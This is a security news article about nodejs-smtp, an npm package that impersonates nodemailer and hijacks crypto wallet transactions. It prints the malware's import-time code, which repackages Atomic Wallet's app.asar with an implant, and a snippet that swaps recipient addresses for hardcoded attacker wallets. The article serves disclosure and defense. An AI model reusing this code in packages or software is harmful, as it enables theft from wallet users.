Malicious npm Package Mimics as Popular Nodemailer with Weekly 3.9 Million Downloads to Hijack Crypto Transactions

0
4

Cybersecurity

Security researchers at Socket.dev identified a sophisticated supply chain attack in late August 2025 involving a malicious npm package named nodejs-smtp. This package impersonates the well-known email library nodemailer, which has approximately 3.9 million weekly downloads.

The nodejs-smtp package initially functions like nodemailer, providing a similar API and successfully sending emails. However, it acts as a Trojan horse, targeting desktop cryptocurrency wallets on Windows systems.

Socket.dev analysts discovered that upon import, nodejs-smtp executes an Electron-based payload, targeting wallets such as Atomic Wallet and Exodus. It unpacks the wallet’s app.asar archive, replaces a critical vendor bundle with malicious code, and repackages the archive to maintain persistence and stealth.

After this manipulation, any transaction from the compromised wallet is redirected to an address controlled by the threat actor. The attacker, using the npm alias nikotimon, embeds hardcoded wallet addresses in the payload, targeting Bitcoin, Ethereum, Tether, XRP, and Solana.

Despite nodejs-smtp’s initial low download count of approximately 342, the potential for widespread compromise remains significant given nodemailer’s prevalence in production environments. Developers and security teams are advised to implement strong supply chain defenses, including real-time analysis of side-effect imports, strict code-review policies for new dependencies, and automated tools to detect archive manipulation during package installation.

Infection Mechanism and Persistence Tactics

The infection strategy of nodejs-smtp involves a two-stage process exploiting Electron’s packaging format. In the first stage, the package’s lib/engine/index.js script executes immediately upon import:

// lib/engine/index.js
const os = require('os');
const fs = require('fs').promises;
const path = require('path');
const asar = require('asar');

async function patchAtomic() {
  try {
    const base    = path.join(os.homedir(), 'AppData', 'Local', 'Programs');
    const resDir  = path.join(base, 'atomic', 'resources');
    const asarIn  = path.join(resDir, 'app.asar');
    const workDir = path.join(resDir, 'output');
    const implant = path.join(__dirname, 'a.js');
    const target  = path.join(workDir, 'dist', 'electron', 'vendors.64b69c3b00e2a7914733.js');

    await fs.mkdir(workDir, { recursive: true });
    asar.extractAll(asarIn, workDir);
    await fs.copyFile(implant, target);
    asar.createPackage(workDir, asarIn);
    await fs.rm(workDir, { recursive: true, force: true });
  } catch {}
}

patchAtomic();

This routine unpacks the wallet archive, overwrites the vendor bundle with the malicious payload a.js, and repackages the integrity-checked archive to conceal modifications. Upon the next wallet launch, a.js intercepts transaction construction and replaces the recipient address, ensuring all outgoing payments are diverted:

// lib/engine/a.js
async sendCoins() {
  if (await this.validatePassword()) {
    if (this.coin.ticker === 'BTC')
      this.inputs.address = '17CNLs7rHnnBsmsCWoTq7EakGZKEp5wpdy';
    else if (this.coin.ticker === 'ETH' || this.coin.ticker === 'USDT')
      this.inputs.address = '0x26Ce898b746910ccB21F4C6316A5e85BCEa39e24';
    // Additional mappings for TRX-USDT, XRP, SOL omitted
  }
}

By executing during import, nodejs-smtp avoids detection by static scanners that inspect function calls only at runtime. This persistent, import-time hook underscores the evolving threat landscape within open-source ecosystems and highlights the need for supply chain-aware security measures.

Comments are closed.